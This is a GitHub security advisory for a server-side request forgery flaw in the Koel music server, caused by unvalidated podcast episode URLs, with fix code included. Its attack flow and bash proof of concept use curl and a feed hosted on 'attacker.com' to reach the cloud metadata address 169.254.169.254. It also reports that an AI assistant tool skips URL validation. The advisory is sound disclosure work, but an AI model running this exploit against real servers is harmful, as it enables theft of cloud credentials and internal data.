GHSA-7j2f-6h2r-6cqc Koel Vulnerable to SSRF via Podcast Episode Enclosure URLs

• Packagist phanan/koel: < 9.3.5 → fixed in 9.3.5

Summary Koel validates the podcast feed URL via the `SafeUrl` rule (DNS resolution + public IP check), but the individual episode `` values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via `Http::sink()->get()` and streams it back to the user, enabling full-read SSRF against internal services. --- Vulnerability Details Episode URL Stored Without Validation File: `app/Services/Podcast/PodcastService.php`, line 146 ```php 'path' => $episodeValue->enclosure->url, // Unvalidated URL from RSS XML ``` The `SafeUrl` rule is applied to the podcast feed URL at subscription time (`SubscribeToPodcastRequest`), but episode enclosure URLs parsed from the feed XML are stored as-is. SSRF Trigger: Full Content Download File: `app/Values/Podcast/EpisodePlayable.php`, line 42 ```php Http::sink($file)->get($episode->path)->throw(); ``` When an episode is played, `PodcastStreamerAdapter::stream()` first attempts `getStreamableUrl()` (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won't have), it falls through to `EpisodePlayable::createForEpisode()`, which downloads the full response body and streams it back to the user. SafeUrl Applied Only to Feed URL File: `app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php` ```php public function rules(): array { return ['url' => ['required', 'url:http,https', new SafeUrl]]; } ``` The `SafeUrl` rule (`app/Rules/SafeUrl.php`) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL — not the content within the feed. --- Attack Flow 1. Attacker registers an account (Community edition, no Plus required) 2. Attacker hosts a malicious RSS feed on a public server: ```xml Legit Podcast Episode 1 ssrf-1 ``` 3. `POST /api/podcasts` with `url=https://evil.com/feed.xml` — passes `SafeUrl` (public URL) 4. Koel parses feed, stores episode with `path = http://169.254.169.254/...` 5. Attacker plays episode: `GET /play/{episode_id}` 6. Server executes `Http::sink($file)->get("http://169.254.169.254/...")` 7. AWS metadata response downloaded to disk, streamed back to attacker --- Proof of Concept ```bash !/bin/bash PoC: Koel SSRF via Podcast Episode Enclosure URL Step 1: Host malicious RSS feed (feed.xml) on attacker server Step 2: Subscribe to the podcast KOEL_URL="https://TARGET" API_TOKEN="" Subscribe to malicious podcast curl -X POST "$KOEL_URL/api/podcasts" \ -H "Authorization: Bearer $API_TOKEN" \ -H "Content-Type: application/json" \ -d '{"url": "https://attacker.com/feed.xml"}' List episodes to get the episode ID EPISODE_ID=$(curl -s "$KOEL_URL/api/podcasts" \ -H "Authorization: Bearer $API_TOKEN" | jq -r '.[0].episodes[0].id') Play the episode — triggers SSRF, returns internal service response curl "$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN" -o response.bin cat response.bin Expected: AWS metadata / internal service response ``` --- Impact • Cloud credential theft: Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens) • Internal network reconnaissance: Scan ports and enumerate internal HTTP services • Data exfiltration: Read responses from internal APIs, admin panels, databases with HTTP interfaces • Full response body: Unlike blind SSRF, the entire response is returned to the attacker --- Secondary Finding: SSRF Bypass via AI Radio Station Tool File: `app/Ai/Tools/AddRadioStation.php`, lines 35-38 The AI assistant's `AddRadioStation` tool creates radio stations by calling `RadioService::createRadioStation()` directly, bypassing the `SafeUrl` and `HasAudioContentType` validation rules that protect the REST API endpoint. Impact: Same SSRF but requires Plus license. CVSS 7.7 HIGH. --- Novelty Check • No existing CVEs found for Koel (searched NVD, GitHub Advisories, web) • No SECURITY.md in the repository • This is a novel vulnerability --- Remediation Fix 1: Validate episode enclosure URLs in `synchronizeEpisodes()`: ```php foreach ($episodeCollection as $episodeValue) { $enclosureUrl = $episodeValue->enclosure->url; $host = parse_url($enclosureUrl, PHP_URL_HOST); if (!$host || !Network::isPublicHost($host)) { continue; // Skip episodes with non-public URLs } // ... rest of episode creation } ``` Fix 2: Defense-in-depth validation at playback time in `EpisodePlayable::createForEpisode()`. Fix 3: Add `SafeUrl` validation in `AddRadioStation` AI tool.